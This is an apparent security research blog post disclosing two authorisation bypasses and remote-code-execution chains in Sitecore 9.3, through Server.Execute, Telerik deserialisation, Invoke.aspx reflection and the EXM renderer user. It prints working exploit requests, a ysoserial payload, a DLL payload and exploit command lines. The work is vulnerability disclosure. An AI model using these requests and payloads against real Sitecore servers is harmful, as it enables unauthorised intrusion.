Research Notes
May 10, 2023

Bypass IIS Authorisation with this One Weird Trick - Three RCEs and Two Auth Bypasses in Sitecore 9.3

No items found.
Creative Commons license

Introduction

It’s time to look at Sitecore again! In 2021 our security research team took a look at Sitecore and found some nice vulnerabilities.

Some time has passed, Sitecore is still very prevalent and we decided we would have another look. In this round we looked at version 9.3. This isn’t the latest version, but it is slightly more popular and still within Sitecore’s support period.

For the uninitiated, Sitecore is an enterprise CMS written in .NET and it provides a range of tools including content management, digital marketing and reporting.

Although all the low-hanging fruit were perhaps gone at this point, we still found multiple issues and a technique for IIS authorisation bypass which we haven’t seen in the wild too often if at all. In this blog post we detail our process for finding and exploiting these vulnerabilities.

CVEs have been claimed and are pending for these issues. We will update this blog post as they become available.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Lastly, the advisory from Sitecore for these issues can be found here: Security Bulletin SC2023-001-568150 .

Let’s get started!

Reconnaissance

A big part of security research, particularly on large enterprise products, is figuring out what functionality exists and how to access it. To start our actual analysis, the first step was to enumerate all .asp, .aspx, .ashx, .asmx files. We took this list and just tried to access each one without authentication. Some we could, others we couldn’t. Unfortunately, of the paths we could access, none of them yielded any interesting vulnerabilities.

Not dettered, we then looked in the <span class="code_single-line">Web.config</span> file in search of more potential endpoints. This gave us a collection of “path mappings” to enumerate. A snippet <span class="code_single-line">Web.config</span> is included below.

<handlers>
  <add verb="*" path="sitecore_media.ashx" type="Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel" name="Sitecore.MediaRequestHandler" />
  <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
  <add verb="*" path="sitecore_icon.ashx" type="Sitecore.Resources.IconRequestHandler, Sitecore.Kernel" name="Sitecore.IconRequestHandler" />
  <add verb="*" path="sitecore_temp.ashx" type="Sitecore.Resources.TempRequestHandler, Sitecore.Kernel" name="Sitecore.TempRequestHandler" />
  <add verb="*" path="sitecore_feed.ashx" type="Sitecore.Shell.Feeds.FeedRequestHandler, Sitecore.Kernel" name="Sitecore.FeedRequestHandler" />
  <add verb="*" path="sitecore_handlers.ashx" type="Sitecore.Web.CustomHandlerFactory, Sitecore.Kernel" name="Sitecore.GenericHandler" />
  <add verb="*" path="sitecore_device_simulation.ashx" type="Sitecore.Shell.DeviceSimulation.SimulationRequestHandler, Sitecore.Kernel" name="Sitecore.SimulationRequestHandler" />
  ...
</handlers>

To figure out how to access these we looked in some more .config files and found the following mappings in <span class="code_single-line">App_Config/Sitecore.config</span>.

<customHandlers>
  <handler trigger="-/media/" handler="sitecore_media.ashx" />
  <handler trigger="~/media/" handler="sitecore_media.ashx" />
  <handler trigger="~/api/" handler="sitecore_api.ashx" />
  <handler trigger="-/api/" handler="sitecore_api.ashx" />
  <handler trigger="-/xaml/" handler="sitecore_xaml.ashx" />
  <handler trigger="~/xaml/" handler="sitecore_xaml.ashx" />
  <handler trigger="-/icon/" handler="sitecore_icon.ashx" />
  <handler trigger="~/icon/" handler="sitecore_icon.ashx" />
  <handler trigger="-/temp/" handler="sitecore_temp.ashx" />
  <handler trigger="~/temp/" handler="sitecore_temp.ashx" />
  <handler trigger="~/feed/" handler="sitecore_feed.ashx" />
  <handler trigger="-/feed/" handler="sitecore_feed.ashx" />
</customHandlers>

To go through each of these, we first decompiled all the .dll files in the webroot with dnSpy. We could then look at each of the handles in the decompiled source code.

So for example <span class="code_single-line">Sitecore.Resources.Media.MediaRequestHandler, Sitecore.Kernel</span> means look at <span class="code_single-line">Sitecore.Resources.Media.MediaRequestHandler</span> in <span class="code_single-line">Sitecore.Kernel.dll</span>.

One of these handlers, <span class="code_single-line">XamlPageRequestHandler</span>, opened up the attack surface considerably by giving us access to instantiate over a hundred XAML controls. Unfortunately, this was also a dead end.

The best we could get from this approach was an information leak, <span class="code_single-line">https://xp0.sc/~/xaml/ExperienceExplorer.SelectUser</span> would reply with a list of all users on the system. A useful vulnerability, but not really what we were looking for.

Following this (small) success we decided to turn our attention towards the API endpoints offered by Sitecore. We could see them in the decompiled source code by searching for <span class="code_single-line">Controller</span>, but didn’t really know how to access them. Controller mapping in Sitecore is a little different to the standard .NET approach for controller mapping.

After some digging around the decompiled source from <span class="code_single-line">Sitecore.MVC.dll</span> and the related configuration files we found this in <span class="code_single-line">App_Config/Sitecore/Mvc/Sitecore.Mvc.config</span>.

<setting name="Mvc.LegalRoutes" value="|Sitecore.Mvc.Web:api/sitecore/{controller}/{action}|Sitecore.Mvc:sitecore/shell/api/sitecore/{controller}/{action}|" />

It looked like <span class="code_single-line">api/sitecore/{controller}/{action}</span> provided a fairly familiar route mapping for controllers. After yet more digging we came across <span class="code_single-line">Sitecore.Mvc.Controllers.SitecoreControllerFactory</span> which included the method <span class="code_single-line">CreateController</span>.

We suspected (and hoped) that this was part of the API pipeline. To verify, using dnSpy we attached a debugger to the <span class="code_single-line">w3p.exe</span> process and set a breakpoint on <span class="code_single-line">CreateController</span> in <span class="code_single-line">SitecoreControllerFactory</span>.

We then sent through a request to <span class="code_single-line">https://xp0.sc/api/sitecore/DummyController/DummyAction</span> to see if it hit our breakpoint. Which it did.

This gave us a preliminary entrypoint to the API pipeline and we could start investigating how controllers were resolved. In doing so we hoped to uncover the list of controllers we could actually call. We continued looking at <span class="code_single-line">SiteControllerFactory</span> and found that it was surpisingly lax about what it was allowed to instantiate. As long as the controller name <span class="code_single-line">LooksLikeTypeName</span> and it implemented <span class="code_single-line">IController</span> we could instantiate it. This can be seen in the snippet below.

protected virtual IController CreateControllerInstance(RequestContext requestContext, string controllerName)
{
    if (controllerName.EqualsText(this.SitecoreControllerName))
    {
        return this.CreateSitecoreController(requestContext, controllerName);
    }
    Type controllerType = this.GetControllerType(requestContext, controllerName);
    if (!(controllerType != null))
    {
        return this.InnerFactory.CreateController(requestContext, controllerName);
    }
    return this.ResolveController(controllerType);
}

protected virtual Type GetControllerType(RequestContext requestContext, string controllerName)
{
    Type result = null;
    if (TypeHelper.LooksLikeTypeName(controllerName))
    {
        result = TypeHelper.GetType(controllerName);
    }
    return result;
}

protected virtual IController ResolveController(Type type)
{
    return (this.DependencyResolver().GetService(type) as IController) ?? TypeHelper.CreateObject<IController>(type, Array.Empty<object>());
}

<span class="code_single-line">LooksLikeTypeName</span> and <span class="code_single-line">TypeHelper.GetType</span> check that the controller name looks like a .NET type and <span class="code_single-line">GetType</span> would helpfully load any .dll we specified as part of that type name. Ordinarily arbitrary .dll loading would be a lot more exciting, but in this case we were restricted to just the webroot and <span class="code_single-line">bin</span> directories.

Using dnSpy we proceeded to enumerate all classes which implemented <span class="code_single-line">IController</span> and came across <span class="code_single-line">Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController</span>. This class had an action <span class="code_single-line">Preview</span> which caught our attention. The <span class="code_single-line">Preview</span> action took a single parameter <span class="code_single-line">previewPath</span> and returned an <span class="code_single-line">ExecuteHandlerAction</span>.

public ActionResult Preview(string previewPath)
{
    Assert.IsNotNullOrEmpty(previewPath, string.Format(CultureInfo.InvariantCulture, this.InvalidStringParameterMessage, "previewPath"));
    return new ExecuteHandlerAction(previewPath);
}

Further investigation into the <span class="code_single-line">ExecuteHandlerAction</span> revealed that it makes a call to <span class="code_single-line">Server.Execute</span> with the path that was specified earlier. This lead us to the first authorisation bypass.

public override void ExecuteResult(ControllerContext context)
{
    Assert.ArgumentNotNull(context, "context");
    context.HttpContext.Server.Execute(this.Path);
    context.HttpContext.Response.End();
}

IIS Authorisation Bypass to RCE

Server.Execute and Server.Transfer are two lesser-known methods which enable the caller to redirect execution to a different file.

They provide similar functionality to a redirect, except instead of sending a 3xx response and the client making a new request, the process is handled entirely within the first request. They can be seen as an analogue of RequestDispatcher.forward and RequestDispatcher.include in Java.

We have seen the Java version of these methods exploited recently in VMware Workspace ONE via CVE-2022-31656. However, not much has been written about their .NET counterparts.

The call to <span class="code_single-line">Server.Execute</span> we found in <span class="code_single-line">ExecuteHandlerAction</span> contained no controls its parameters and enabled us to redirect execution to any file within the webroot. Since <span class="code_single-line">Server.Execute</span> does not rerun the entire HTTP pipeline we were able to bypass almost all IIS-level controls.

However, there were still some incidental limitations which prevent us from accessing every file in the webroot. For example, we could not request anything that did not have a MIME type mapping defined. Unfortunately, this included the <span class="code_single-line">Web.config</span> file.

So what could we access? A common file we used to check is the Sitecore license file. The license file is found at <span class="code_single-line">/App_Data/license.xml</span> and we could request it with a call to <span class="code_single-line">https://xp0.sc/api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml</span>. An example response is shown below.

HTTP/2 200 OK
Date: Mon, 07 Nov 2022 02:12:33 GMT
Content-Type: text/html
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xsl" href="http://www.sitecore.net/licenseviewer/license.xsl"?><signedlicense id="20190629084269">... omitted ...</signedlicense>

A more interesting collection of files to target were the configuration backups in <span class="code_single-line">/App_Data/diagnostics/configuration_history</span>.

Sitecore periodically creates a backup of all the .config files and saves them as a zip archive with a (somewhat) predictable name such as <span class="code_single-line">20230303Z.034441Z.zip</span>.

Since the resolution of the timestamp is only to the second, we only needed to try 86,400 combinations per day of potential backup files. This was very doable and only takes a few hours.

With the <span class="code_single-line">Web.config</span> file in hand, we went searching for a technique to escalate this to code execution. The version of Sitecore we were testing still used Telerik UI 2018.3.910.45 which was vulnerable to a deserialisation attack (CVE-2019-18935).

Ordinarily this is not exploitable because it requires knowledge of the Telerik encryption keys. However, after leaking the <span class="code_single-line">Web.config</span> we could now use this technique to get remote code execution.

Starting with the exploit here we compiled the following mixed-mode assembly payload which gets the username of the current user and writes it to a file.

#include <windows.h>

#pragma comment(lib, "Advapi32.lib")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH) {
        char username[1024];
        DWORD usernameLength = 1024;
        GetUserName(username, &usernameLength);

        DWORD actualLength = strlen(username);

        HANDLE fileHandle = CreateFile(
            "C:\\inetpub\\wwwroot\\XP0.sc\\upload\\pwn.txt",
            GENERIC_WRITE,
            0,
            0,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0
        );
        DWORD written = 0;
        WriteFile(fileHandle, username, actualLength, &written, 0);
        CloseHandle(fileHandle);
    }
    return TRUE;
}

We then edited <span class="code_single-line">CVE-2019-18935/RAU_crypto/RAU_crypto.py</span> and set <span class="code_single-line">T_Upload_ConfigurationHashKey and T_AsyncUpload_ConfigurationEncryptionKey</span> to the value found in the <span class="code_single-line">Web.Config</span>. Finally we ran the exploit as follows.

$ python3 CVE-2019-18935.py -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -v '2018.3.910.45' -n '4.8.4494.0' -t -p x-2022121206355822-amd64.dll
[*] Local payload name:  x-2022121206355822-amd64.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1671363412.757567.dll

{'fileInfo': {'ContentLength': 93184,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1671363412.757567.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=2018.3.910.45, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=121fae78165ba3d4',
              'TempFileName': '1671363412.757567.dll.tmp'}}

[*] Heads up! Payload was renamed on target from "1671363412.757567.dll" to "1671363412.757567.dll.tmp". Will adjust automatically while deserializing; otherwise, if deserializing manually with the "-d" option, use the "-r" option to specify the accurate, renamed payload on target.

$ python3 CVE-2019-18935.py -d -u 'https://xp0.sc/Telerik.Web.UI.WebResource.axd?type=rau' -r 1671363412.757567.dll.tmp

Checking on the web server we had created <span class="code_single-line">pwn.txt</span> and can see the output of the command we ran.

Unsafe Reflection

While searching for remote code execution we came across <span class="code_single-line">/sitecore/shell/Invoke.aspx</span>. On this page we found a suspicous looking call to <span class="code_single-line">ReflectionUtil.CallMethod</span>. The page handler for <span class="code_single-line">Invoke.aspx</span> is shown below.

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    string @string = StringUtil.GetString(base.Request.Form["__OBJECT"]);
    if (@string.Length <= 0)
    {
        return;
    }
    int num = @string.IndexOf(",", StringComparison.InvariantCulture);
    if (num < 0)
    {
        return;
    }
    string assembly = StringUtil.Mid(@string, num + 1);
    string text = StringUtil.Left(@string, num);
    num = text.LastIndexOf(".", StringComparison.InvariantCulture);
    if (num < 0)
    {
        return;
    }
    string text2 = StringUtil.Mid(text, num + 1);
    text = StringUtil.Left(text, num);
    object obj = ReflectionUtil.CreateObject(assembly, text, new object[0]);
    if (obj == null)
    {
        return;
    }
    string[] array = new string[0];
    num = text2.IndexOf("(", StringComparison.InvariantCulture);
    if (num >= 0)
    {
        string text3 = StringUtil.Mid(text2, num + 1, text2.Length - num - 2);
        text2 = StringUtil.Left(text2, num);
        array = text3.Split(new char[]
        {
            ','
        });
        for (int i = 0; i < array.Length; i++)
        {
            array[i] = StringUtil.Unquote(array[i].Trim());
        }
    }
    object obj2 = obj;
    string methodName = text2;
    bool includeNonPublic = true;
    bool includeInherited = true;
    object[] parameters = array;
    ReflectionUtil.CallMethod(obj2, methodName, includeNonPublic, includeInherited, parameters);
}

Further investigation revealed that this page lets an authenticated user instantiate an arbitrary class and then execute any method on the instance. However, it was restricted to only instance methods (nothing declared as static was allowed) and the methods could only take string parameters.

Rather than try and audit all instance methods which take strings, we instead searched for code execution sinks and then worked backwards from there to see if any of them were reachable via an instance method. One such sink was a call to <span class="code_single-line">BinaryFormatter.Deserialize</span> we found was in <span class="code_single-line">PivotGridFilterPersistenceHelper.DeserializeObject</span>, a class in Telerik.UI.

public static object DeserializeObject(string objectToDeserialize)
{
    byte[] buffer = Convert.FromBase64String(objectToDeserialize);
    new BinaryFormatter();
    object result;
    using (MemoryStream memoryStream = new MemoryStream(buffer))
    {
        result = new BinaryFormatter().Deserialize(memoryStream);
    }
    return result;
}

Tracing this backwards we saw that the <span class="code_single-line">DeserializeObject</span> method is called in <span class="code_single-line">PivotGridFilterPersistenceHelper.DeserializePivotFilter</span>.

...
if (a == "PivotGridReportFilter")
{
    pivotGridFilter = new PivotGridReportFilter();
    PivotGridReportFilter pivotGridReportFilter = pivotGridFilter as PivotGridReportFilter;
    pivotGridReportFilter.FieldName = array[1];
    pivotGridReportFilter.Condition = (IFilterCondition)PivotGridFilterPersistenceHelper.DeserializeObject(array[2]);
}
...

One step further up the chain and we found the call in the setter for the <span class="code_single-line">FiltersPersistence</span> property on <span class="code_single-line">Telerik.Web.UI.RadPivotGrid</span>.

set
{
    string[] array = value.Split(new char[]
    {
        ','
    }, StringSplitOptions.RemoveEmptyEntries);
    this.Filters.Clear();
    foreach (string serializedFilter in array)
    {
        PivotGridFilter pivotGridFilter = PivotGridFilterPersistenceHelper.DeserializePivotFilter(serializedFilter);
        if (pivotGridFilter != null)
        {
            this.Filters.Add(pivotGridFilter);
        }
    }
    this.shouldAddNewSettings = true;
}

Although it may not look like it, a property setter is an instance method like any other. As such, we could call it from our <span class="code_single-line">/sitecore/shell/Invoke.aspx</span> page. First we prepared our deserialisation payload using ysoserial.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > \inetpub\wwwroot\XP0.sc\upload\pwn.txt"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==

We could then assemble and send our payload. <span class="code_single-line">Telerik.Web.UI.RadPivotGrid</span> is the object we will instantiate, <span class="code_single-line">set_FiltersPersistence</span> is the method we are going to call and <span class="code_single-line">"PivotGridReportFilter;x;AAEAAAD/////..."</span> is the parameter <span class="code_single-line">set_FiltersPersistence</span> will be called with. The string is split on ; characters by <span class="code_single-line">PivotGridFilterPersistenceHelper.DeserializePivotFilter</span>.

  • The first value, <span class="code_single-line">PivotGridReportFilter</span>, is to get into the correct <span class="code_single-line">if</span> block in <span class="code_single-line">PivotGridFilterPersistenceHelper.DeserializePivotFilter</span>.
  • The second value, <span class="code_single-line">x</span>, is unused.
  • The final value is our payload which will be passed to <span class="code_single-line">DeserializeObject</span>.

This gives us the following final HTTP request.

POST /sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Cookie: __CSRFCOOKIE=481fbe0b-15c1-49a0-8d43-c95747b8461b; sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 2055

__OBJECT=Telerik.Web.UI.RadPivotGrid.set_FiltersPersistence("PivotGridReportFilter;x;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw=="),Telerik.Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ0ODFmYmUwYi0xNWMxLTQ5YTAtOGQ0My1jOTU3NDdiODQ2MWIL

Authorisation Bypass Two: EXM Boogaloo

Unfortunately, because of additional controls we were unable to use the <span class="code_single-line">Invoke.aspx</span> page vulnerability to gain unauthenticated RCE by combining it with the <span class="code_single-line">Server.Execute</span> vulnerability.

We looked at what access controls were applied to <span class="code_single-line">/sitecore/shell/Invoke.aspx</span> and found the following was required to access the page.

The IIS configuration in <span class="code_single-line">web.config</span> denies access to anonymous users. However, this could be bypassed via the call to <span class="code_single-line">Server.Execute</span> vulnerability.

<location path="sitecore/shell">
    <system.web>
      <authorization>
        <deny users="?" />
        <allow users="*" />
      </authorization>
    </system.web>
</location>

In <span class="code_single-line">Sitecore.Shell.Web.UI.SecurePage</span> a call to <span class="code_single-line">ShellPage.IsLoggedIn</span> is made that will issue a redirect if there is no valid ticket. However, control flow is not modified and the page will still execute after this, the response will just be discarded. The code from <span class="code_single-line">ShellPage.IsLoggedIn</span> is shown below.

if (!user.Identity.IsAuthenticated || !TicketManager.IsCurrentTicketValid() || AuthenticationManager.IsAuthenticationTicketExpired())
{
    if (user.RuntimeSettings.IsVirtual || ShellPage.Relogin())
    {
        user = Context.User;
    }
    else
    {
        Security.Logout();
        ShellPage.GotoLoginPage(httpContext, returnAfterLogin);
    }
}

In <span class="code_single-line">Sitecore.Web.UI.Sheer.ClientPage</span>, <span class="code_single-line">this.Context.User.Identity.IsAuthenticated</span> is checked. This will throw an exception in <span class="code_single-line">WebUtil.RedirectToLoginPage</span> if the value is false.

protected override void OnInit(EventArgs e)
{
    try
    {
        if (!this.Context.User.Identity.IsAuthenticated)
        {
            WebUtil.RedirectToLoginPage();
        }
        HighResTimer highResTimer = new HighResTimer(true);
        base.OnInit(e);
        this._pageKey = this.GetPageKey();
        this._commands = new ArrayList(5);
        this._clientRequest = new ClientRequest(base.Request.Form);
        this.CreateControls();
        this._initialized = true;
        this._sheerTimer += highResTimer.Elapsed();
    }
    catch (Exception exception)
    {
        if (!this.OnError(exception))
        {
            throw;
        }
    }
}

With all this in mind we decided to audit all locations where <span class="code_single-line">HttpContext.User</span> is set, since it didn’t matter who it was set to, just as long as it was set to some user. We found such a case in the maling list (EXM) component of Sitecore.

Sitecore could be configured with a <span class="code_single-line">Renderer</span> User to enable a user who is subscribed to a mailing list to access information without having to login when they view the email. When viewing items this way the user provides some query parameters such as <span class="code_single-line">ec_message_id</span> and <span class="code_single-line">ec_id</span> which tell Sitecore the details of the email item they are viewing.

However, if an attacker provided valid values for these two parameters then <span class="code_single-line">Sitecore.Modules.EmailCampaign.Core.Pipelines.HttpRequestBegin.LoadEmailRenderSessionUser</span> would set the user of the HttpContext to the configured <span class="code_single-line">Renderer User</span> as seen below.

public void Process(HttpRequestArgs args)
{
    Assert.ArgumentNotNull(args, "args");
    if (!GlobalSettings.Enabled)
    {
        return;
    }
    if (!ExmContext.IsRenderRequest || ExmContext.Message == null)
    {
        return;
    }
    if (string.IsNullOrWhiteSpace(ExmContext.Message.ManagerRoot.Settings.RendererUser))
    {
        return;
    }
    args.HttpContext.User = User.FromName(ExmContext.Message.ManagerRoot.Settings.RendererUser, true);
}

Provided we have obtained valid <span class="code_single-line">ec_message_id</span> and <span class="code_single-line">ec_id</span> parameters, perhaps by subscribing to the mailing list and waiting for an email that has them. We could put all this together to achieve unauthenticated remote code execution with the following request.

POST /api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?ec_message_id=3811A44A-41B8-4E3D-8213-CC3B9AD4E468&ec_id=470A274A9BAF4D6FA398DE06A188F540&previewPath=/sitecore/shell/Invoke.aspx HTTP/2
Host: xp0.sc
Content-Type: application/x-www-form-urlencoded
Content-Length: 2055

